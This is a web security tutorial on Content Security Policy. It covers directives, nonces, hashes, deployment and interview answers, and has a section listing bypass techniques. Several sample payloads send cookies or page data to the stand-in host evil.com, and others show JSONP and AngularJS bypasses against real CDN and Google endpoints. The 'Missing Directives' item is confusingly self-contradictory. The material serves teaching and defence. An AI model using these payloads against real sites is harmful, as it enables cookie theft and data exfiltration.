Skip to content
SecureKhan
Go back

Content Security Policy Explained Simply: Attack and Defense

Content Security Policy Explained Simply

TL;DR: CSP is an HTTP header that tells browsers what content can load and execute on your page. It’s a powerful defense against XSS and data injection, but misconfigurations can render it useless. Understanding both implementation and bypass techniques is essential.


Table of Contents

Open Table of Contents

Quick Reference

Essential CSP Directives

DirectiveControlsExample
default-srcFallback for all directivesdefault-src 'self'
script-srcJavaScript sourcesscript-src 'self' 'nonce-abc'
style-srcCSS sourcesstyle-src 'self' 'unsafe-inline'
img-srcImage sourcesimg-src 'self' data: https:
connect-srcAJAX, WebSocket, fetchconnect-src 'self' api.example.com
frame-srciframe sourcesframe-src 'none'
object-srcPlugins (Flash, etc.)object-src 'none'
base-uri<base> elementbase-uri 'self'
form-actionForm submission targetsform-action 'self'
frame-ancestorsWho can embed this pageframe-ancestors 'none'

Source Values

ValueMeaning
'self'Same origin only
'none'Block all
'unsafe-inline'Allow inline scripts/styles (dangerous!)
'unsafe-eval'Allow eval() and similar (dangerous!)
'nonce-abc123'Allow with matching nonce
'sha256-hash'Allow with matching hash
'strict-dynamic'Trust scripts loaded by trusted scripts
https:Any HTTPS URL
*.example.comWildcard domain

What Is CSP

The Problem CSP Solves

Without CSP, browsers execute any script on a page:

<!-- Legitimate script -->
<script src="/js/app.js"></script>

<!-- XSS payload - also executes! -->
<script>document.location='http://evil.com/?c='+document.cookie</script>

<!-- Injected external script -->
<script src="http://evil.com/malware.js"></script>

How CSP Works

┌─────────────────────────────────────────────────────────────┐
│                    CSP FLOW                                  │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. Server sends CSP header with response                   │
│     Content-Security-Policy: script-src 'self'              │
│                                                             │
│  2. Browser parses CSP and enforces restrictions            │
│                                                             │
│  3. When page tries to load resource:                       │
│     ┌─────────────────┐                                     │
│     │ Script from     │──► Check against script-src         │
│     │ evil.com?       │    'self' only → BLOCKED!          │
│     └─────────────────┘                                     │
│                                                             │
│     ┌─────────────────┐                                     │
│     │ Script from     │──► Check against script-src         │
│     │ same origin?    │    'self' → ALLOWED                │
│     └─────────────────┘                                     │
│                                                             │
│  4. Violations reported to console (and optionally server)  │
│                                                             │
└─────────────────────────────────────────────────────────────┘

CSP Header Example

HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src *; object-src 'none'

This policy:


CSP Directives

Fetch Directives

Control where resources can be loaded from:

Content-Security-Policy:
    default-src 'self';                    # Fallback for all
    script-src 'self' 'nonce-abc123';      # JavaScript
    style-src 'self' 'unsafe-inline';      # CSS
    img-src 'self' data: https:;           # Images
    font-src 'self' fonts.googleapis.com;  # Fonts
    connect-src 'self' api.example.com;    # AJAX/Fetch/WebSocket
    media-src 'self';                      # Audio/Video
    object-src 'none';                     # Plugins
    frame-src 'self';                      # iframes
    worker-src 'self';                     # Web Workers
    manifest-src 'self';                   # Web App Manifest

Document Directives

Control document behavior:

Content-Security-Policy:
    base-uri 'self';           # Restrict <base> element
    form-action 'self';        # Where forms can submit
    frame-ancestors 'none';    # Who can embed (replaces X-Frame-Options)
    sandbox allow-scripts;     # Apply sandbox restrictions

Control navigation:

Content-Security-Policy:
    navigate-to 'self';        # Where page can navigate
    form-action 'self';        # Form submission targets

Reporting Directives

Content-Security-Policy:
    default-src 'self';
    report-uri /csp-report;          # Legacy: Send violation reports here
    report-to csp-endpoint;          # Modern: Use Reporting API

# Reporting API configuration (via Report-To header)
Report-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"/csp-report"}]}

Report-Only Mode

Test CSP without blocking:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

CSP Bypass Techniques

1. Missing Directives

# Vulnerable: No script-src defined
Content-Security-Policy: default-src 'none'; img-src 'self'

# Attack: default-src 'none' applies, BUT...
# If a directive isn't specified and there's no default-src,
# it defaults to allowing everything!

# Better check: What happens with script-src specifically?

2. Unsafe-Inline Bypass

# Vulnerable policy
Content-Security-Policy: script-src 'self' 'unsafe-inline'

# Attack: Inject inline script (XSS still works!)
<script>alert(document.cookie)</script>

# This is why 'unsafe-inline' defeats the purpose of CSP for XSS

3. Unsafe-Eval Bypass

# Vulnerable policy
Content-Security-Policy: script-src 'self' 'unsafe-eval'

# Attack: If you can inject into existing script context
# Use eval, setTimeout(string), Function constructor

eval('alert(1)');
setTimeout('alert(1)', 0);
new Function('alert(1)')();

4. JSONP Endpoints

# Policy trusts CDN
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com

# Attack: Find JSONP endpoint on allowed domain
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app ng-csp>
  {{constructor.constructor('alert(1)')()}}
</div>

# Or direct JSONP callback injection
<script src="https://allowed-domain.com/api?callback=alert(1)//"></script>

5. Base-URI Hijacking

# Vulnerable: No base-uri directive
Content-Security-Policy: script-src 'self'

# Page has relative script path
<script src="/js/app.js"></script>

# Attack: Inject base tag
<base href="https://evil.com/">

# Now /js/app.js loads from https://evil.com/js/app.js

6. Nonce Reuse/Prediction

# Vulnerable: Predictable or reused nonce
Content-Security-Policy: script-src 'nonce-static123'

# If nonce is:
# - Static across requests
# - Predictable (timestamp-based)
# - Leaked somewhere in page

# Attack: Use the known nonce
<script nonce="static123">alert(1)</script>

7. Script-Src ‘Self’ with File Upload

# Policy
Content-Security-Policy: script-src 'self'

# If application allows file uploads and serves them from same origin:
# 1. Upload malicious.js (content: alert(1))
# 2. Include: <script src="/uploads/malicious.js"></script>
# 3. Script executes (same origin!)

8. DOM XSS Still Works

# Even strict CSP doesn't prevent DOM XSS!
Content-Security-Policy: script-src 'self'

# Vulnerable code on page:
<script>
  // This legitimate script is allowed
  document.getElementById('output').innerHTML = location.hash.slice(1);
</script>

# Attack: Inject via hash (no new script needed)
https://target.com/#<img src=x onerror=alert(1)>

9. Dangling Markup Injection

# Even without script execution, data exfiltration possible
Content-Security-Policy: script-src 'none'

# Inject unclosed tag to capture page content
<img src="https://evil.com/capture?data=
... page content until next quote ...

# Or form-based exfiltration
<form action="https://evil.com/"><input name="
... captures form data ...

Bypass Testing Checklist

## CSP Bypass Checklist

### Policy Analysis
- [ ] Is 'unsafe-inline' present? (XSS works)
- [ ] Is 'unsafe-eval' present? (eval() works)
- [ ] Is base-uri restricted?
- [ ] Is object-src 'none'?
- [ ] Are there wildcards (*.example.com)?

### Allowed Domains
- [ ] Do allowed domains have JSONP endpoints?
- [ ] Do allowed domains have Angular/Vue/React CDN?
- [ ] Can you upload files to allowed domains?

### Nonce/Hash Analysis
- [ ] Is nonce static or predictable?
- [ ] Is nonce leaked in page content?
- [ ] Are hashes correctly calculated?

### Other Vectors
- [ ] DOM XSS (doesn't need script-src bypass)
- [ ] Dangling markup for data exfiltration
- [ ] form-action restrictions?

Implementing Effective CSP

Starting Point: Strict Policy

Content-Security-Policy:
    default-src 'none';
    script-src 'self' 'nonce-{random}';
    style-src 'self' 'nonce-{random}';
    img-src 'self';
    font-src 'self';
    connect-src 'self';
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';
    object-src 'none';
    require-trusted-types-for 'script';

Using Nonces

<!-- Server generates random nonce per request -->
<script nonce="rAnd0m123">
    // This script is allowed
    console.log('Legitimate code');
</script>

<!-- Injected script without nonce -->
<script>
    // BLOCKED - no valid nonce
    alert('XSS');
</script>

Server-side implementation:

import secrets

@app.route('/')
def index():
    nonce = secrets.token_urlsafe(16)

    response = make_response(render_template('index.html', nonce=nonce))
    response.headers['Content-Security-Policy'] = f"script-src 'nonce-{nonce}'"

    return response

Using Hashes

For static inline scripts:

<!-- Calculate hash of script content -->
<script>alert('Hello');</script>

<!-- SHA-256 hash of "alert('Hello');" -->
<!-- CSP: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=' -->

Generate hash:

echo -n "alert('Hello');" | openssl sha256 -binary | base64

Strict-Dynamic

For applications that load scripts dynamically:

Content-Security-Policy: script-src 'strict-dynamic' 'nonce-abc123'

With strict-dynamic:

<script nonce="abc123">
    // This is allowed (has nonce)

    // This script can dynamically load others:
    var s = document.createElement('script');
    s.src = 'https://any-cdn.com/lib.js';
    document.body.appendChild(s);
    // lib.js is allowed because loader was trusted
</script>

Deployment Strategy

## CSP Deployment Phases

### Phase 1: Report Only
1. Deploy CSP-Report-Only header
2. Collect violation reports
3. Identify legitimate resources being blocked
4. Duration: 2-4 weeks

### Phase 2: Refine Policy
1. Whitelist legitimate sources
2. Replace inline scripts with nonces
3. Remove 'unsafe-inline' from scripts
4. Continue monitoring reports
5. Duration: 2-4 weeks

### Phase 3: Enforce
1. Switch from Report-Only to enforce
2. Keep report-uri active
3. Monitor for issues
4. Have rollback plan ready

### Phase 4: Tighten
1. Remove unnecessary sources
2. Consider strict-dynamic
3. Implement Trusted Types
4. Regular policy review

Common Policy Templates

Basic Web Application:

Content-Security-Policy:
    default-src 'self';
    script-src 'self';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data:;
    object-src 'none';
    frame-ancestors 'self'

SPA with API:

Content-Security-Policy:
    default-src 'self';
    script-src 'self' 'nonce-{random}' 'strict-dynamic';
    style-src 'self' 'nonce-{random}';
    connect-src 'self' https://api.example.com;
    img-src 'self' https: data:;
    object-src 'none';
    base-uri 'self';
    frame-ancestors 'none'

Maximum Security:

Content-Security-Policy:
    default-src 'none';
    script-src 'nonce-{random}' 'strict-dynamic';
    style-src 'nonce-{random}';
    img-src 'self';
    font-src 'self';
    connect-src 'self';
    frame-ancestors 'none';
    base-uri 'none';
    form-action 'self';
    object-src 'none';
    require-trusted-types-for 'script';
    upgrade-insecure-requests

Hands-On Lab

Lab: Implement and Bypass CSP

Task 1: Analyze a Weak CSP

Content-Security-Policy: default-src 'self' 'unsafe-inline' https://cdnjs.cloudflare.com

Questions:

  1. What’s wrong with this policy?
  2. How would you bypass it?

Answers:

  1. unsafe-inline allows XSS; wide CDN allowlist
  2. Inject inline script OR use Angular from CDN for template injection

Task 2: Bypass JSONP

Given:

Content-Security-Policy: script-src 'self' https://accounts.google.com

Find a bypass using Google’s JSONP endpoints:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)//"></script>

Task 3: Create Secure Policy

Create a CSP for:

Solution:

Content-Security-Policy:
    default-src 'self';
    script-src 'self' https://unpkg.com 'nonce-{random}';
    style-src 'self' 'nonce-{random}';
    connect-src 'self' https://api.example.com;
    img-src 'self' data:;
    object-src 'none';
    base-uri 'self';
    frame-ancestors 'none'

Task 4: Test with CSP Evaluator

Use Google’s CSP Evaluator: https://csp-evaluator.withgoogle.com/

Input your policy and analyze the findings.


Interview Questions & Answers

Basic Questions

Q1: What is Content Security Policy and what does it protect against?

Strong Answer: “Content Security Policy is an HTTP response header that allows servers to declare what resources the browser should be allowed to load for a given page.

Primary protections:

  1. XSS mitigation - Can block inline scripts and limit script sources
  2. Data injection - Controls what can be embedded (frames, objects)
  3. Clickjacking - frame-ancestors replaces X-Frame-Options
  4. Mixed content - upgrade-insecure-requests forces HTTPS

Example:

Content-Security-Policy: script-src 'self'; object-src 'none'

This tells the browser: only run scripts from my origin, and don’t load any plugins.

Important caveat: CSP is defense-in-depth, not a silver bullet. It doesn’t prevent DOM-based XSS where legitimate scripts mishandle data, and misconfiguration (like 'unsafe-inline') can render it ineffective.”

Q2: Explain the difference between ‘self’, ‘unsafe-inline’, and nonces.

Strong Answer: “These are source expressions in CSP that control what scripts can execute:

‘self’:

  • Allows resources from the same origin (scheme + host + port)
  • Safe default for scripts
  • Example: If page is https://example.com, only scripts from https://example.com are allowed

‘unsafe-inline’:

  • Allows inline <script> tags and event handlers (onclick, etc.)
  • Dangerous because it defeats XSS protection entirely
  • If an attacker can inject HTML, they can execute arbitrary scripts
  • Should be avoided whenever possible

Nonces:

  • Server generates random token per request
  • Token added to CSP: script-src 'nonce-abc123'
  • Token added to allowed scripts: <script nonce=\"abc123\">
  • Attacker can’t guess the nonce, so can’t inject allowed scripts
  • Best practice for allowing specific inline scripts securely

Progression:

  • Bad: 'unsafe-inline' (XSS works)
  • Better: 'self' only (no inline)
  • Best: 'nonce-random' (selective inline with protection)“

Intermediate Questions

Q3: As a pentester, how would you approach bypassing CSP?

Strong Answer: “I follow a systematic approach:

1. Policy Analysis:

  • Get the CSP header (or meta tag)
  • Use CSP Evaluator to identify weaknesses
  • Look for unsafe-inline, unsafe-eval, wildcards

2. Check for Missing Directives:

  • Is base-uri restricted? (Base tag hijacking)
  • Is object-src restricted? (Plugin-based execution)
  • Is frame-ancestors set? (Clickjacking)

3. Analyze Allowed Domains:

  • JSONP endpoints on allowed domains
  • Angular/Vue/React libraries for expression injection
  • File upload paths on same origin

4. Nonce/Hash Analysis:

  • Is the nonce static or predictable?
  • Is it leaked anywhere in the page?

5. Alternative Vectors:

  • DOM XSS (doesn’t need script-src bypass)
  • Dangling markup for data exfiltration
  • Style injection for data extraction

6. Document Findings:

  • Note the specific bypass technique
  • Demonstrate impact (cookie theft, etc.)
  • Recommend specific policy improvements”

Q4: A developer says ‘We can’t use CSP because we need inline scripts.’ How do you respond?

Strong Answer: “There are several ways to maintain inline scripts while having effective CSP:

Option 1: Nonces

  • Server generates random nonce per request
  • Add to CSP: script-src 'nonce-xyz'
  • Add to scripts: <script nonce=\"xyz\">
  • Most modern approach

Option 2: Hashes

  • Calculate SHA hash of script content
  • Add to CSP: script-src 'sha256-hash...'
  • Works for static inline scripts
  • No server-side changes needed

Option 3: Refactor to External

  • Move inline scripts to external files
  • May require event listener refactoring
  • Best for maintainability anyway

Option 4: Strict-Dynamic

  • Use nonce for loader script
  • Loader can then load other scripts dynamically
  • Good for complex applications

What to avoid:

  • 'unsafe-inline' defeats XSS protection entirely
  • If you must use it, you’ve essentially turned off CSP for scripts

I’d work with them to identify which approach fits their architecture and help implement nonces, which usually takes minimal effort.”

Advanced Questions

Q5: Explain how strict-dynamic works and when you’d use it.

Strong Answer:strict-dynamic is a CSP source expression that enables a trust propagation model:

How it works:

  1. You specify 'strict-dynamic' with a nonce
  2. Scripts with that nonce are trusted
  3. Those trusted scripts can dynamically load other scripts
  4. Dynamically loaded scripts inherit trust

Example:

Content-Security-Policy: script-src 'strict-dynamic' 'nonce-abc123'
<script nonce=\"abc123\">
  // Trusted - has nonce
  var script = document.createElement('script');
  script.src = 'https://any-cdn.com/lib.js';
  document.body.appendChild(script);
  // lib.js is ALSO trusted - loaded by trusted script
</script>

When to use:

  • Modern SPAs that dynamically load modules
  • Applications using webpack/bundlers that code-split
  • When you can’t enumerate all script sources in advance

Important behaviors:

  • With strict-dynamic, URL-based allowlists are IGNORED
  • Only nonces/hashes matter for initial trust
  • 'unsafe-inline' is also ignored
  • Requires browser support (Chrome 52+, Firefox 52+)

Security consideration: If your nonced script has a DOM XSS, an attacker could use it to load arbitrary scripts. So strict-dynamic doesn’t eliminate the need for secure coding.”

Q6: How does CSP interact with DOM-based XSS? Does CSP prevent it?

Strong Answer: “CSP has significant limitations against DOM-based XSS:

Why CSP doesn’t fully prevent DOM XSS:

DOM XSS occurs when legitimate, allowed scripts mishandle data:

// This script is allowed by CSP (has nonce or is external)
document.getElementById('output').innerHTML = location.hash;

The script itself is trusted. The vulnerability is in what the script DOES with untrusted data. CSP doesn’t inspect script behavior, only script sources.

What CSP CAN help with:

  • Blocking exfiltration: connect-src 'self' limits where data can be sent
  • Blocking injected scripts: Even if innerHTML is set, <script> tags won’t execute
  • But <img onerror> and other event handlers WILL execute

Better solution: Trusted Types

Content-Security-Policy: require-trusted-types-for 'script'

Trusted Types prevents strings from being assigned to dangerous sinks like innerHTML unless they go through a sanitization policy. This directly addresses DOM XSS at the API level.

Combined approach:

  1. CSP to prevent traditional XSS (inject script tag)
  2. Trusted Types to prevent DOM XSS
  3. Secure coding practices (use textContent, sanitize input)

CSP is defense-in-depth, not a complete XSS solution.”


Glossary

TermDefinition
CSPContent Security Policy
DirectiveIndividual rule in CSP (e.g., script-src)
Source ExpressionValue defining allowed sources (‘self’, URL)
NonceRandom token for allowing specific inline scripts
Strict-DynamicTrust propagation mode for dynamically loaded scripts
Report-OnlyCSP mode that logs but doesn’t block
Trusted TypesAPI preventing DOM XSS at the sink level
JSONPPattern allowing script-based data loading (bypassable)

What’s Next

Continue building your defensive security expertise:

  1. DOM-Based XSS Deep Dive - What CSP can’t fully prevent
  2. CSRF Attacks and Modern Defenses - Complementary web defense
  3. Securing CI/CD Pipelines - Deploy CSP automatically

Questions or feedback? Open an issue on GitHub.


Share this post on:

Previous Post
Cloud IAM Misconfigurations and Attack Paths: AWS Focus
Next Post
CSRF Attacks and Modern Defenses: A Complete Guide